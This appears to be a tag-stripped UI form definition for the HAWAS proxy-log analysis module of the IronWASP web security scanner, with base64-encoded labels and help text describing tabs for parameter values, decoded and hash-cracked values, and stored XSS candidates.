z09Pf8+Pj7/19fX////////////j4+P/wAAAP8AAAD/cnJy/////////////////////////////////////////////////////////////////4+Pj/8AAAD/FRUV/6enp////////////+/v7/9ra2v/Dw8P/9XV1f/Y2Nj/Ghoa/2tra//v7+////////////+urq7/Ghoa/wAAAP9hYWH/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/Y2Nj/wAAAP8sLCz/wcHB/////////////v7+/4iIiP8AAAD/z8/P/9HR0f8AAAD/iYmJ/////////////////8DAwP8qKir/AAAA/xgYGP9/f3//fn5+/35+fv9+fn7/fn5+/35+fv9+fn7/fn5+/35+fv9+fn7/fn5+/39/f/8YGBj/AAAA/0NDQ//c3Nz/////////////////mZmZ/wwMDP+tra3/0dHR/wAAAP+JiYn/////////////////09PT/zs7O/8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/WVlZ//T09P////////////////+hoaH/ExMT/7Gxsf/R0dH/AAAA/4mJif/////////////////j4+P/SUlJ/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP9kZGT//////////////////////6Ojo/8UFBT/sbGx/9HR0f8AAAD/iYmJ//////////////////b29v9aWlr/AAAA/wQEBP8iIiL/MTEx/y8vL/8vLy//Ly8v/y8vL/8vLy//Ly8v/y8vL/8vLy//MjIy/xsbG/8CAgL/Dw8P/4+Pj///////////////////////m5ub/w4ODv+vr6//1dXV/w8PD/91dXX/9PT0/////////////v7+/2VlZf8BAQH/EBAQ/5ubm//19fX/9fX1//X19f/19fX/9fX1//X19f/19fX/9fX1//X19f/09PT/cnJy/wcHB/8aGhr/srKy//////////////////////+Kior/AAAA/8HBwf/g4OD/Nzc3/0lJSf/d3d3/////////////////dHR0/wYGBv8JCQn/fX19//////////////////////////////////////////////////f39/9PT0//AAAA/yYmJv/V1dX/////////////////9/f3/3p6ev8LCwv/1NTU//Hx8f9zc3P/EhIS/8DAwP////////////////+fn5//FBQU/wQEBP9lZWX/+/v7////////////////////////////////////////////4+Pj/0JCQv8AAAD/MTEx//X19f/////////////////V1dX/OTk5/z4+Pv/i4uL//f39/6ampv8MDAz/gICA//f39////////////7e3t/8cHBz/AAAA/1BQUP/4+Pj////////////////////////////////////////////BwcH/Kioq/wAAAP89PT3//f39/////////////f39/62trf8HBwf/i4uL//j4+P//////3Nzc/0lJSf8PDw//5OTk////////////yMjI/yIiIv8AAAD/SkpK/+/v7////////////////////////////////////////v7+/6SkpP8XFxf/AgIC/4GBgf/////////////////s7Oz/PT09/ygoKP/CwsL/////////////////kpKS/w4ODv9ra2v/+fn5///////u7u7/Li4u/wAAAP81NTX/0dHR///////////////////////////////////////8/Pz/hYWF/wQEBP8DAwP/rq6u/////////////////6enp/8FBQX/f39///7+/v/////////////////w8PD/V1dX/w4ODv+pqan///////n5+f81NTX/AAAA/yIiIv+1tbX///////////////////////////////////////b29v91dXX/AAAA/wUFBf/T09P////////////Ly8v/ExMT/zExMf/Ly8v////////////////////////////Jycn/HBwc/yAgIP+wsLD//////zw8PP8AAAD/GRkZ/6enp///////////////////////////////////////4eHh/1FRUf8AAAD/CgoK//n5+f//////zMzM/0JCQv8QEBD/ra2t//////////////////////////////////////+6urr/CgoK/yEhIf+3t7f/b29v/wEBAf8KCgr/kJCQ//7+/v/////////////////////////////////Ly8v/LCws/wAAAP8TExP//////8vLy/9CQkL/BgYG/6urq//7+/v///////////////////////////////////////39/f+6urr/Gxsb/xISEv8yMjL/AQEB/wAAAP99fX3/+/v7/////////////////////////////v7+/7+/v/8aGhr/AAAA/2BgYP+ysrL/ExMT/xAQEP+rq6v/+/v7///////////////////////////////////////////////////////IyMj/UVFR/woKCv8AAAD/AAAA/29vb//u7u7//v7+///////////////////////8/Pz/pKSk/wAAAP8AAAD/CAgI/wUFBf8xMTH/ra2t//v7+//////////////////////////////////////////////////////////////////n5+f/ioqK/zQ0NP8AAAD/ICAg/2hoaP+IiIj/mpqa/5mZmf+ZmZn/nJyc/4mJif9cXFz/AAAA/wAAAP8oKCj/gICA/8vLy///////////////////////////////////////////////////////////////////////////////////////zMzM/5OTk/9RUVH/Dg4O/wAAAP8NDQ3/DAwM/wwMDP8ODg7/AAAA/wsLC/8/Pz//i4uL/8LCwv/+/v7/////////////////////////////////////////////////////////////////////////////////////////////////+vr6/+jo6P/V1dX/z8/P/7CwsP+ysrL/srKy/62trf/Pz8//1NTU/+Li4v/4+Pj//////////////////////////////////////////////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + + + + + + + + + + + + 353 + 23 + + + 165 + 14 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + Q2xpY2sgb24gdGhlIFN0YXJ0IEFuYWx5c2lzIGJ1dHRvbiB0byBzdGFydCBhbiBhbmFseXNpcyBvZiB0aGUgUHJveHkgbG9ncw== + + + + + + show_results_btn + + + 135 + 23 + + + 12 + 45 + + + True + False + True + False + + None + True + -986896 + -16777216 + + False + Microsoft Sans Serif + False + 8.25 + False + False + + U2hvdyBSZXN1bHRz + + + self.show_results() + + + + status_lbl + + + 653 + 23 + + + 165 + 45 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg + + + + + + result_tabs + + + 875 + 478 + + + 5 + 80 + + + True + True + True + True + + None + True + -986896 + -16777216 + + + parameter_names_tab + + Parameter Names and Values + + + + pnv_selected_value_log_ids_tb + + + 313 + 55 + + + 550 + 393 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + selected_value_log_ids_lbl + + + 303 + 16 + + + 548 + 374 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + UHJveHkgTG9nIElEcyBvZiBSZXF1ZXN0cy9SZXNwb25zZXMgY29udGFpbmluZyB0aGlzIHZhbHVlOg== + + + + + + select_value_lbl + + + 100 + 15 + + + 548 + 268 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + U2VsZWN0ZWQgVmFsdWU6 + + + + + + pnv_selected_value_tb + + + 314 + 88 + + + 550 + 283 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + pnv_values_grid + + + 315 + 256 + + + 548 + 3 + + + True + False + True + False + + None + True + -1 + -16777216 + False + False + False + True + False + True + False + DisableResizing + FullRowSelect + -1 + + + ValuesClm + DataGridViewTextBoxCell + Fill + 100 + 5 + 307 + True + U2VsZWN0IGEgVmFsdWUgdG8gdmlldyBkZXRhaWxzOg== + + + LogIds + DataGridViewTextBoxCell + NotSet + 100 + 2 + 5 + True + TG9nSWRz + + + + + self.pnv_values_grid_clicked() + + + + mod_label_5 + + + 254 + 17 + + + 5 + 3 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + VGhlIGZvbGxvd2luZyBob3N0cyB3ZXJlIGZvdW5kIGluIHRoZSBsb2dzLg== + + + + + + pnv_selected_parameter_tb + + + 277 + 32 + + + 265 + 265 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + pnv_selected_host_tb + + + 254 + 32 + + + 5 + 416 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + pnv_sections_grid + + + 277 + 145 + + + 265 + 303 + + + True + False + True + False + + None + True + -1 + -16777216 + False + False + False + True + False + True + False + DisableResizing + FullRowSelect + -1 + + + SectionCln + DataGridViewTextBoxCell + Fill + 100 + 5 + 274 + True + U2VsZWN0IGEgU2VjdGlvbg== + + + + + self.pnv_sections_grid_clicked() + + + + pnv_hosts_grid + + + 254 + 387 + + + 5 + 23 + + + True + False + True + False + + None + True + -1 + -16777216 + False + False + False + True + False + True + False + DisableResizing + FullRowSelect + -1 + + + HostCln + DataGridViewTextBoxCell + Fill + 100 + 5 + 251 + True + U2VsZWN0IGEgSG9zdA== + + + + + self.pnv_hosts_grid_clicked() + + + + pnv_parameters_grid + + + 277 + 256 + + + 265 + 3 + + + True + False + True + False + + None + True + -1 + -16777216 + False + False + False + True + False + True + False + DisableResizing + FullRowSelect + -1 + + + ID + DataGridViewTextBoxCell + NotSet + 100 + 2 + 5 + True + SUQ= + + + Parameter Names + DataGridViewTextBoxCell + Fill + 100 + 5 + 269 + True + U2VsZWN0IGEgUGFyYW1ldGVyIE5hbWU= + + + + + self.pnv_parameters_grid_clicked() + + + + + + encoded_parameters_tab + + Encoded Parameter Values + + + + mod_label_2 + + + 205 + 17 + + + 252 + 388 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + UGFyYW1ldGVycyBuYW1lcyBjb250YWluaW5nIHRoaXMgdmFsdWU6 + + + + + + enc_parameter_names_tb + + + 270 + 41 + + + 251 + 408 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + mod_label_3 + + + 167 + 14 + + + 251 + 9 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + U2VsZWN0IGFueSBpdGVtIHRvIHZpZXcgZGV0YWlsczo= + + + + + + mod_label_4 + + + 301 + 18 + + + 527 + 388 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + UHJveHkgTG9nIElEcyBvZiBSZXF1ZXN0cy9SZXNwb25zZXMgY29udGFpbmluZyB0aGlzIHZhbHVlOg== + + + + + + enc_log_ids_tb + + + 336 + 38 + + + 527 + 409 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + mod_label_6 + + + 100 + 14 + + + 527 + 300 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + RGVjb2RlZCBWYWx1ZTo= + + + + + + mod_label_7 + + + 100 + 14 + + + 251 + 300 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + T3JpZ25hbCBWYWx1ZTo= + + + + + + enc_decoded_value_tb + + + 336 + 68 + + + 527 + 317 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + enc_original_value_tb + + + 270 + 68 + + + 251 + 317 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + enc_values_grid + + + 612 + 268 + + + 251 + 26 + + + True + False + True + False + + None + True + -1 + -16777216 + False + False + False + True + False + True + False + DisableResizing + FullRowSelect + -1 + + + OriginalValue + DataGridViewTextBoxCell + Fill + 100 + 5 + 265 + True + T3JpZ2luYWxWYWx1ZQ== + + + Encoding Type + DataGridViewTextBoxCell + None + 100 + 70 + 70 + True + RW5jb2Rpbmc= + + + Decoded Value + DataGridViewTextBoxCell + Fill + 100 + 5 + 264 + True + RGVjb2RlZCBWYWx1ZQ== + + + LogIds + DataGridViewTextBoxCell + NotSet + 100 + 2 + 5 + True + TG9nSWRz + + + ParameterNames + DataGridViewTextBoxCell + NotSet + 100 + 2 + 5 + False + UGFyYW1ldGVyTmFtZXM= + + + + + self.enc_values_grid_click() + + + + enc_selected_host_tb + + + 245 + 39 + + + 0 + 408 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + enc_hosts_grid + + + 242 + 376 + + + 3 + 26 + + + True + False + True + False + + None + True + -1 + -16777216 + False + False + False + True + False + True + False + DisableResizing + FullRowSelect + -1 + + + Host + DataGridViewTextBoxCell + Fill + 100 + 5 + 239 + True + U2VsZWN0IGEgSG9zdA== + + + + + self.enc_hosts_grid_click() + + + + mod_label_8 + + + 203 + 14 + + + 3 + 9 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + VGhlIGZvbGxvd2luZyBob3N0cyBoYXZlIGVuY29kZWQgdmFsdWVzOg== + + + + + + + + hashed_parameters_tab + + Hashed Parameter Values + + + + mod_label_9 + + + 205 + 17 + + + 252 + 388 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + UGFyYW1ldGVycyBuYW1lcyBjb250YWluaW5nIHRoaXMgdmFsdWU6 + + + + + + hashed_parameter_names_tb + + + 270 + 41 + + + 251 + 408 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + mod_label_10 + + + 167 + 14 + + + 251 + 9 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + U2VsZWN0IGFueSBpdGVtIHRvIHZpZXcgZGV0YWlsczo= + + + + + + mod_label_11 + + + 301 + 18 + + + 527 + 388 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + UHJveHkgTG9nIElEcyBvZiBSZXF1ZXN0cy9SZXNwb25zZXMgY29udGFpbmluZyB0aGlzIHZhbHVlOg== + + + + + + hashed_log_ids_tb + + + 336 + 38 + + + 527 + 409 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + mod_label_12 + + + 100 + 14 + + + 527 + 300 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + Q3JhY2tlZCBWYWx1ZTo= + + + + + + mod_label_13 + + + 100 + 14 + + + 251 + 300 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + SGFzaGVkIFZhbHVlOg== + + + + + + hashed_cracked_value_tb + + + 336 + 68 + + + 527 + 317 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + hashed_original_value_tb + + + 270 + 68 + + + 251 + 317 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + hashed_values_grid + + + 612 + 268 + + + 251 + 26 + + + True + False + True + False + + None + True + -1 + -16777216 + False + False + False + True + False + True + False + DisableResizing + FullRowSelect + -1 + + + OriginalValue + DataGridViewTextBoxCell + Fill + 100 + 5 + 265 + True + T3JpZ2luYWwgSGFzaGVkIFZhbHVl + + + Encoding Type + DataGridViewTextBoxCell + None + 100 + 70 + 70 + True + SGFzaCBUeXBl + + + Decoded Value + DataGridViewTextBoxCell + Fill + 100 + 5 + 264 + True + Q3JhY2tlZCBWYWx1ZQ== + + + LogIds + DataGridViewTextBoxCell + NotSet + 100 + 2 + 5 + True + TG9nSWRz + + + ParameterNames + DataGridViewTextBoxCell + NotSet + 100 + 2 + 5 + False + UGFyYW1ldGVyTmFtZXM= + + + + + self.hashed_values_grid_click() + + + + hashed_selected_host_tb + + + 242 + 39 + + + 3 + 408 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + hashed_hosts_grid + + + 242 + 376 + + + 3 + 26 + + + True + False + True + False + + None + True + -1 + -16777216 + False + False + False + True + False + True + False + DisableResizing + FullRowSelect + -1 + + + Host + DataGridViewTextBoxCell + Fill + 100 + 5 + 239 + True + U2VsZWN0IGEgSG9zdA== + + + + + self.hashed_hosts_grid_click() + + + + mod_label_14 + + + 203 + 14 + + + 3 + 9 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + VGhlIGZvbGxvd2luZyBob3N0cyBoYXZlIGhhc2hlZCB2YWx1ZXM6 + + + + + + + + stored_reflections_tab + + Potential Stored XSS Candidates + + + + mod_label_15 + + + 250 + 17 + + + 251 + 368 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + UHJveHkgTG9nIElEcyBvZiBSZXF1ZXN0cyBoYXZpbmcgdGhpcyBQYXJhbWV0ZXI6 + + + + + + sr_request_log_ids_tb + + + 270 + 61 + + + 251 + 388 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + mod_label_16 + + + 167 + 14 + + + 251 + 9 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + U2VsZWN0IGFueSBpdGVtIHRvIHZpZXcgZGV0YWlsczo= + + + + + + mod_label_17 + + + 307 + 18 + + + 527 + 368 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + UHJveHkgTG9nIElEcyBvZiBSZXNwb25zZXMgaGF2aW5nIHN0b3JlZCByZWZsZWN0aW9uIG9mIHZhbHVlOg== + + + + + + sr_response_log_ids_tb + + + 336 + 58 + + + 527 + 389 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + mod_label_18 + + + 100 + 14 + + + 527 + 300 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + UmVmbGVjdGVkIFZhbHVlOg== + + + + + + mod_label_19 + + + 100 + 14 + + + 251 + 300 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + UGFyYW1ldGVyIE5hbWU6 + + + + + + sr_value_tb + + + 336 + 48 + + + 527 + 317 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + sr_parameter_name_tb + + + 270 + 48 + + + 251 + 317 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + sr_values_grid + + + 612 + 268 + + + 251 + 26 + + + True + False + True + False + + None + True + -1 + -16777216 + False + False + False + True + False + True + False + DisableResizing + FullRowSelect + -1 + + + OriginalValue + DataGridViewTextBoxCell + NotSet + 100 + 5 + 100 + True + UGFyYW1ldGVyIE5hbWU= + + + Encoding Type + DataGridViewTextBoxCell + NotSet + 100 + 5 + 100 + True + VmFsdWU= + + + Decoded Value + DataGridViewTextBoxCell + Fill + 100 + 5 + 205 + True + UmVxdWVzdHMgd2l0aCBQYXJhbWV0ZXI= + + + LogIds + DataGridViewTextBoxCell + Fill + 100 + 2 + 204 + True + UmVzcG9uc2VzIHdpdGggUmVmbGVjdGlvbg== + + + + + self.sr_values_grid_click() + + + + sr_selected_host_tb + + + 242 + 39 + + + 3 + 408 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + sr_hosts_grid + + + 242 + 376 + + + 3 + 26 + + + True + False + True + False + + None + True + -1 + -16777216 + False + False + False + True + False + True + False + DisableResizing + FullRowSelect + -1 + + + Host + DataGridViewTextBoxCell + Fill + 100 + 5 + 239 + True + U2VsZWN0IGEgSG9zdA== + + + + + self.sr_hosts_grid_click() + + + + mod_label_20 + + + 203 + 14 + + + 3 + 9 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + VGhlIGZvbGxvd2luZyBob3N0cyBoYXZlIGhhc2hlZCB2YWx1ZXM6 + + + + + + + + interactive_testing_tab + + Interactive Testing + + + + + + + + 830 + 135 + + + 17 + 19 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + VGhpcyBzZWN0aW9uIHdhcyBvcmlnaW5hbGx5IHBsYW5uZWQgdG8gaG9sZCB1dGlsaXRpZXMgdG8gcGVyZm9ybSBDU1JGIHRlc3RpbmcsIFByaXZpbGxlZ2UgRXNjYWxhdGlvbiB0ZXN0cyBhbmQgSGlkZGVuIFBhcmFtZXRlciBHdWVzc2luZyB0ZXN0cyBiYXNlZCBvbiB0aGUgaW5mb3JtYXRpb24gZm91bmQgaW4gdGhlIGFuYWx5c2lzIG9mIHRoZSBsb2cuDQoNCkhvd2V2ZXIgdG8gcHJvdmlkZSBhIG1vcmUgcm9idXN0IFVJIGZvciB0aGVzZSB0ZXN0cyB0aGVzZSBmdW5jdGlvbmFsaXR5IGhhdmUgYmVlbiBtb3ZlZCB0byB0aGUgSXJvbldBU1AgY29yZSBpdHNlbGYuDQpUbyBhY2Nlc3MgdGhlc2UgZmVhdHVyZXMgZ28gdG8gdGhlIExvZ3Mgc2VjdGlvbiBpbnNpZGUgSXJvbldBU1AsIGNsaWNrIG9uIHRoZSAnU2VhcmNoIGFuZCBBbmFseXplIExvZ3MnIGJ1dHRvbiB0aGVyZS4NCkFmdGVyIHlvdSBkbyBhIHNlYXJjaCwgY2xpY2sgb24gdGhlICdUZXN0IFNlbGVjdGVkIExvZ3MnIGJ1dHRvbiB0byBhY2Nlc3MgdGhlc2UgZmVhdHVyZXMu + + + + + + + + + + + Help + + + + + + + + 861 + 446 + + + 3 + 3 + + + True + False + True + False + + Fill + True + -986896 + -16777216 + None + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + SEFXQVMgYW5hbHl6ZXMgeW91ciBQcm94eSBsb2dzIGFuZCBsb29rcyBmb3IgaW50ZXJlc3RpbmcgaW5mb3JtYXRpb24uIE9uY2UgdGhlIGFuYWx5c2lzIGlzIGNvbXBsZXRlIHRoZSByZXN1bHRzIGFyZSBzaG93biB0byB5b3UuDQpUaGUgcmVzdWx0cyBhcmVhIGhhcyB0aGUgZm9sbG93aW5nIHNlY3Rpb25zOg0KDQpQYXJhbWV0ZXIgTmFtZXMgYW5kIFZhbHVlczoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KVGhpcyBzZWN0aW9uIGxpc3RzIGFsbCB0aGUgcGFyYW1ldGVyIG5hbWVzIGFuZCB2YWx1ZXMgZGlzY292ZXJlZCBmcm9tIHRoZSBsb2dzLiBUaGVzZSBhcmUgY2F0ZWdvcml6ZWQgYnkgdGhlIGhvc3RuYW1lcy4NClRoZSBsaXN0IG9mIGFsbCBob3N0cyBkaXNjb3ZlcmVkIGluIHRoZSBsb2dzIGlzIGRpc3BsYXllZCBpbiB0aGUgbGVmdC1tb3N0IGFyZWEuIFdoZW4geW91IGNsaWNrIG9uIGFueSBvZiB0aGUgbGlzdGVkIGhvc3RuYW1lcyB0aGVuIHRoZSBuYW1lcyBvZiBhbGwgdGhlIHBhcmFtZXRlcnMgYmVsb25naW5nIHRvIHRoYXQgaG9zdCBhcmUgc2hvd24uDQpXaGVuIHlvdSBjbGljayBvbiBhIHBhcmFtZXRlciBuYW1lLCB0aGUgc2VjdGlvbnMgaW4gd2hpY2ggdGhlc2UgcGFyYW1ldGVyIG5hbWVzIHdlcmUgZGlzY292ZXJlZCBpcyBzaG93bi4NCldoZW4geW91IGNsaWNrIG9uIG9uZSBvZiB0aGUgc2VjdGlvbnMgdGhlbiBhbGwgdGhlIHZhbHVlcyB0aGF0IHRoZSBzZWxlY3RlZCBwYXJhbWV0ZXIgaGFkIGluIHRoZSBzZWN0aW9uIGFyZSBsaXN0ZWQuDQoNClRoaXMgY2FuIGJlIGhlbHBmdWwgaW4gZ2V0IGEgcXVpY2sgb3ZlcnZpZXcgb2YgdGhlIHNpdGUgYW5kIHRvIGlkZW50aWZ5IHBhcmFtZXRlcnMgd2l0aCBpbnRlcmVzdGluZyBuYW1lcyBhbmQgdmFsdWVzLg0KDQpFbmNvZGVkIFBhcmFtZXRlciBWYWx1ZXM6DQo9PT09PT09PT09PT09PT09PT09PT09PT09DQpTb21ldGltZXMgcGFyYW1ldGVycyBjb3VsZCBoYXZlIHZhbHVlcyB0aGF0IGFyZSBlaXRoZXIgSGV4IG9yIEJhc2U2NCBlbmNvZGVkLiBJZiBIQVdBUyBpZGVudGlmaWVkIGFueSBwYXJhbWV0ZXJzIHdpdGggc3VjaCBlbmNvZGVkIHZhbHVlcyB0aGVuIGl0IGRlY29kZXMgdGhlbSBhbmQgbGlzdHMgdGhlbSBoZXJlLg0KQWdhaW4gdGhlIGZpbmRpbmdzIGFyZSBjYXRlZ29yaXplZCBieSBob3N0bmFtZS4gQ2xpY2sgb24gYSBob3N0bmFtZSB0byBzZWUgaWYgaXQgY29udGFpbmVkIGFueSBlbmNvZGVkIHBhcmFtZXRlciB2YWx1ZXMuDQpPbmx5IEhleCBhbmQgQmFzZTY0IGVuY29kaW5nIGRldGVjdGlvbiBhcmUgc3VwcG9ydGVkIGZvciBub3cuDQoNCkhhc2hlZCBQYXJhbWV0ZXIgVmFsdWVzOg0KPT09PT09PT09PT09PT09PT09PT09PT09DQpTb21ldGltZXMgcGFyYW1ldGVycyBjb3VsZCBoYXZlIHZhbHVlcyB0aGF0IGFyZSBTSEEgb3IgTUQ1IGhhc2hlcy4gSWYgSEFXQVMgaWRlbnRpZmllZCBhbnkgcGFyYW1ldGVycyB3aGljaCBsb29rIGxpa2UgaGFzaGVzIHRoZW4gaXQgdHJpZXMgdG8gY3JhY2sgdGhlbSBieSB1c2luZyB0aGUgbGlzdCBvZiBwYXJhbWV0ZXIgdmFsdWVzIGZyb20gdGhlIHNhbWUgaG9zdCBhcyBkaWN0aW9uYXJ5IGxpc3QuDQpJZiBIQVdBUyBpcyBhYmxlIHRvIGNyYWNrIGFueSBvZiB0aGVzZSBoYXNoZXMgdGhlbiBpdCBpbmNsdWRlcyB0aGUgY3JhY2tlZCB2YWx1ZSBpbiB0aGUgcmVzdWx0IGFsb25nIHdpdGggdGhlIG5hbWUgYW5kIGRldGFpbHMgb2YgdGhlIHBhcmFtZXRlciB0aGF0IGNvbnRhaW5lZCB0aGUgaGFzaGVkIHZhbHVlIGFuZCB0aGUgcGFyYW1ldGVyIHRoYXQgY29udGFpbmVkIHRoZSBjbGVhci10ZXh0IHZhbHVlIHVzZWQgdG8gY3JhY2sgdGhlIGhhc2guDQpBZ2FpbiB0aGUgZmluZGluZ3MgYXJlIGNhdGVnb3JpemVkIGJ5IGhvc3RuYW1lLiBDbGljayBvbiBhIGhvc3RuYW1lIHRvIHNlZSBpZiBpdCBjb250YWluZWQgYW55IGhhc2hlZCBwYXJhbWV0ZXIgdmFsdWVzLg0KDQpQb3RlbnRpYWwgU3RvcmVkIFhTUyBDYW5kaWRhdGVzOg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NClN0b3JlZCBYU1Mgb25seSBoYXBwZW5zIHdoZW4gdGhlIGFwcGxpY2F0aW9uIHN0b3JlcyB1c2VyIGlucHV0IG9uIHRoZSBzZXJ2ZXItc2lkZSBhbmQgcmV0dXJucyBpdCBiYWNrIGluIHNvbWUgb3RoZXIgcGFydCBvZiB0aGUgc2l0ZS4gSW4gYSBiaWcgYXBwbGljYXRpb24gaXQgd291bGQgYmUgZGlmZmljdWx0IHRvIGZpbmQgb3V0IHRoZSBwb3RlbnRpYWwgYXJlYXMgd2hlcmUgdGhpcyB0eXBlIG9mIHN0b3JlZCByZWZsZWN0aW9uIGJlaGF2aW91ciBpcyBoYXBwZW5pbmcuDQpIQVdBUyBpZGVudGlmaWVzIGFsbCBhcmVhcyB3aGVyZSBwYXJhbWV0ZXIgdmFsdWVzIGZyb20gc2F5IFJlcXVlc3QgQSBhcHBlYXJzIGluIHRoZSBib2R5IG9mIGFuIHVucmVsYXRlZCBSZXNwb25zZSBCLiBJZiBSZXF1ZXN0IEIgZGlkIG5vdCBjb250YWluIHRoZXNlIHBhcmFtZXRlciB2YWx1ZXMgdGhlbiB0aGVyZSBpcyBhIHBvc3NpYmlsaXR5IHRoYXQgdGhpcyB3YXMgcHV0IGluIHRvIFJlc3BvbnNlIEIgYnkgdGhlIHNlcnZlciBhZnRlciBzdG9yaW5nIHRoZW0gZnJvbSBSZXF1ZXN0IEEgb24gdGhl